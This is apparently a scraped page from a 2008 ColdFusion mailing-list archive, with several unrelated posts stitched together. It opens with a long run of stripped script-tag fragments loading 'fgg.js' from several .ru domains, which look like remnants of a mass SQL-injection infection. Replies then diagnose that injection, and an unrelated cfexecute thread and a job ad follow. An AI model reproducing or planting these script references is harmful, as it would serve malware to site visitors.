src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.kpo3.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.kj5s.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.jve4.ru/fgg.js/scriptscript src=http://www.kpo3.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.jve4.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.bosf.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.gty5.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.po4c.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript src=http://www.ch35.ru/fgg.js/scriptscript
RE: Script on one site
Any ideas? Probably a SQL injection attack. See the previous discussion on this topic: http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:57241 -Justin Scott ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311971 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Script on one site
Only if you are outputting a variable from the database at the bottom of your page right under your body tag. You need to find out if the text is being output in a variable which has come from the database, or if it is actually in the .CFM files. Even if you hardened your FTP password, your server could be infected with a virus that continues to modify your code. There are actually tons of ways it *could* be happening. Let's start by deciding where that text is actually stored. ~Brad - Original Message - From: Justin D. Scott [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, September 02, 2008 11:00 PM Subject: RE: Script on one site Any ideas? Probably a SQL injection attack. See the previous discussion on this topic: ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311972 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
Just because the user ColdFusion runs as has access to the e:\adobe_site\ directory does not guarantee that it also has access to e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files Have you confirmed the actual user ColdFusion is running as? If you are on Windows and start ColdFusion automatically as a server, go to your services, click properties for ColdFusion 8 Application Server (if you have CF8), click on the Log On tab and see what user is being used. Also, make sure your arguments are correct, put everything in a batch file that you can run from the command line and get the correct results. Then have CF call that same batch file. There may be a difference between how you are testing it and cfexecute is actually calling it. ~Brad - Original Message - From: Rick Faircloth [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, September 02, 2008 7:45 PM Subject: RE: How can I unzip a password-protected zip file with cfzip? Ok... So I ran: cfexecute name=c:\windows\system32\netstat.exe arguments=-e outputfile=e:\adobe_site\netstat.txt timeout=1 /cfexecute No problem...got the outputfile. ??? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311973 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
CF Chatroom code development/integration job
I need a chatroom coded on our new website. The previous chat source was bugging when installed, and the original chat creator just vanished mid-analysis. www.nightlifetucson.com Website contains: Coldfusion based MySQL Flash Javascript HTML I need someone that can do this. Thank you Steve ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Jobs-Talk/message.cfm/messageid:3978 Subscription: http://www.houseoffusion.com/groups/CF-Jobs-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.11